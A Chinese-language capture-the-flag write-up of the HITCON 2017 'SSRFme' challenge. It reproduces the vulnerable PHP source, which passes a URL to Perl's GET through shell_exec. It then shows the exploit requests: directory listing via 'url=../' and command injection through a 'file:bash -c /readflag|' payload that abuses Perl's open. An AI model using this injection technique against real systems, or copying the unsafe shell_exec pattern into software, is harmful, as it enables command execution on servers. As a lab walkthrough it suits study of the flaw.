[HITCON 2017]SSRFme
218.15.61.77 <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
代码审计挺简单的,执行GET命令,写入沙盒里面的一个文件。
不知道GET还能读取目录,看了write up才知道,还想找一些隐藏的源码。
执行url=../&filename=123
访问/sandbox/c9be40ee97b3ce1b442f2397675fa34b/123
找到根目录,发现有readflag和flag,按照正常,一般是执行/readflag文件。
思路是这样的,用bash去执行这个文件。
bash /readflag
测试:
写一个名字为a的文件,内容是ls
写一个名字为b的文件,内容是bash a。
命令行执行可以,但是不能从网页执行,所以这里要用到伪协议。
/?url=file:bash -c /readflag|&filename=bash -c /readflag|
知识点:perl脚本GET open命令漏洞
GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理
open存在命令执行,并且还支持file函数
这里说,必须要有管道符,没有管道符,是不会创建的。我也不懂。
如果用-c 那么bash 会从第一个非选项参数后面的字符串中读取命令,如果字符串有多个空格,第一个空格前面的字符串是要执行的命令,也就是$0, 后面的是参数,即$1, $2….
这里是创建了一个叫bash -c /readflag 的文件,把/readflag写了进去
/?url=file:bash -c /readflag|&filename=123
这里把用GET命令执行存进123里面,直接访问/sandbox/c9be40ee97b3ce1b442f2397675fa34b/123